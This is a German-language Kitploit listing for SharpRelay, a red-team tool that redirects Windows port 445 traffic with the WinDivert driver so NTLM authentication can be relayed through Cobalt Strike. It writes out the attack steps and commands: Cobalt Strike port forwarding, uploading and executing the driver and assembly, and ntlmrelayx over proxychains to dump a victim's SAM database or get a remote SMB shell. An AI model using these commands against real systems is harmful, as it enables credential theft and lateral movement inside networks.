Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SharpRelay — C#-Tool, das den WinDivert-Treiber nutzt, um den Windows-Port-445-Verkehr für NTLM-Relay-Angriffe über Cobalt Strike abzufangen und umzuleiten, was laterale Bewegung und das Abgreifen von Anmeldedaten in Red-Team-Operationen ermöglicht. | Kitploit
Tools/GitHubGitHub/pkb1s/sharprelay
Paket-Sniffing & AnalyseLaterale BewegungPenetrationstestsRed Teaming
GitHubpkb1s/sharprelay

SharpRelay

C#-Tool, das den WinDivert-Treiber nutzt, um den Windows-Port-445-Verkehr für NTLM-Relay-Angriffe über Cobalt Strike abzufangen und umzuleiten, was laterale Bewegung und das Abgreifen von Anmeldedaten in Red-Team-Operationen ermöglicht.

Repository anzeigen
179212vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Verwendung

Die einzige Voraussetzung für diese Attacke ist ein Beacon mit lokalen Administratorrechten oder der Fähigkeit, Treiber zu laden. Die Attacke mit SharpRelay funktioniert wie folgt:

  • Den signierten WinDivert-Treiber in einen beliebigen Ordner auf dem kompromittierten System hochladen
  • SharpRelay ausführen, um den Zielport der eingehenden Pakete auf Port 445 zu ändern und auf einen anderen Port (z. B. 8445) umzuleiten
  • Von unserem Beacon aus den Cobalt-Strike-Befehl rportfwd ausführen, um Port 8445 des kompromittierten Systems auf Port 445 unseres Teamservers weiterzuleiten
  • Einen Socks-Server starten, um den weitergeleiteten Datenverkehr zurück in das Opfernetzwerk zu leiten
  • Impackets ntlmrelayx mit proxychains ausführen, um das SMB-Relay durchzuführen
  • Wenn ein Opfer versucht, auf Port 445 des kompromittierten Systems zuzugreifen, wird die NTLM-Authentifizierung an unseren Teamserver weitergeleitet und an eine andere Maschine gereleayed

Die folgenden Beispielbefehle können in Cobalt Strike ausgeführt werden, um diese Aktionen durchzuführen:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

Wenn alle oben genannten Schritte erfolgreich ausgeführt wurden, müssen Sie Ihren Relay-Server starten (konfigurieren Sie proxychains auf den in den obigen Befehlen angegebenen Port, z. B. 4444):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

Der obige Befehl extrahiert die SAM-Datenbank vom Opferhost. Es ist auch möglich, eine interaktive SMB-Shell zu erhalten und Befehle aus der Ferne auf dem Opfer auszuführen.

SharpRelay wurde unter Win10 x64 getestet.

Build-Anleitung

Wenn Sie das Tool aus dem Quellcode erstellen möchten, gehen Sie wie folgt vor:

  • Das Repository klonen

  • Stellen Sie sicher, dass Sie alle NuGet-Pakete auf der Registerkarte "Installed" sehen, indem Sie in Visual Studio Projekt -> NuGet-Pakete verwalten öffnen

  • Das Projekt erstellen

Die obigen Anweisungen wurden mit Visual Studio 2019 getestet.

Technische Details

SharpRelay basiert auf dem WinDivert-Treiber. Laut dessen Beschreibung ist WinDivert ein Kernel-Treiber, der das Abfangen und Modifizieren von Paketen im Benutzermodus ermöglicht. Der Benutzer muss einen Filter angeben, und alle Pakete, die diesem Filter entsprechen, werden abgefangen und können modifiziert werden.

Aus der ReadMe-Datei:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

Für uns ist das Wichtigste, was WinDivert uns ermöglicht, dass wir den Datenverkehr, der zu einem offenen Windows-Port geht, abfangen und auf einen anderen Port umleiten können, indem wir die TCP-Quell- und Zielports jedes Pakets ändern, die TCP-Prüfsummen neu berechnen und die Pakete wieder in den Netzwerkstapel einspeisen.

Unter Windows läuft Port 445 standardmäßig immer. Ich werde nicht ins Detail gehen, welcher Prozess Port 445 verwendet, da dies bereits im folgenden Beitrag analysiert wurde. Bitte lesen Sie ihn daher:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

Der obige Beitrag enthält auch eine weitere interessante Idee: die Verwendung von WinDivert zur Durchführung eines SMB-Relay-Angriffs über Metasploit. Sie können mehrere DLLs und eine Treiberdatei zusammen mit der divertTCPconn.exe auf das Zielsystem hochladen und ausführen. Ich fand diesen Angriff großartig, aber was mir nicht gefiel, war, dass man mehrere DLLs auf das Zielsystem hochladen musste.

Mein Ziel war es also, denselben Angriff durchzuführen, indem ich die minimale Anzahl von Dateien auf der Festplatte ablege und den Angriff über Cobalt Strike ausführe.

Zunächst wollte ich die execute-assembly-Funktion von Cobalt Strike nutzen, also entschied ich mich, meinen Code mit dem .NET-Framework zu schreiben. Mein ursprünglicher Gedanke war, divertTCPconn in C# neu zu schreiben, dann würde alles funktionieren. Es stellte sich heraus, dass dies sehr kompliziert war. Glücklicherweise fand ich das folgende NuGet-Paket von TechnikEmpire:

  • https://github.com/TechnikEmpire/WinDivertSharp

Mit WinDivertSharp war ich in der Lage, SharpRelay zu schreiben, um den Treiber durch das Erstellen eines Dienstes zu laden und mit dem WinDivert-Treiber zu kommunizieren, um alle erforderlichen Paketmodifikationen durchzuführen.

Tool herunterladen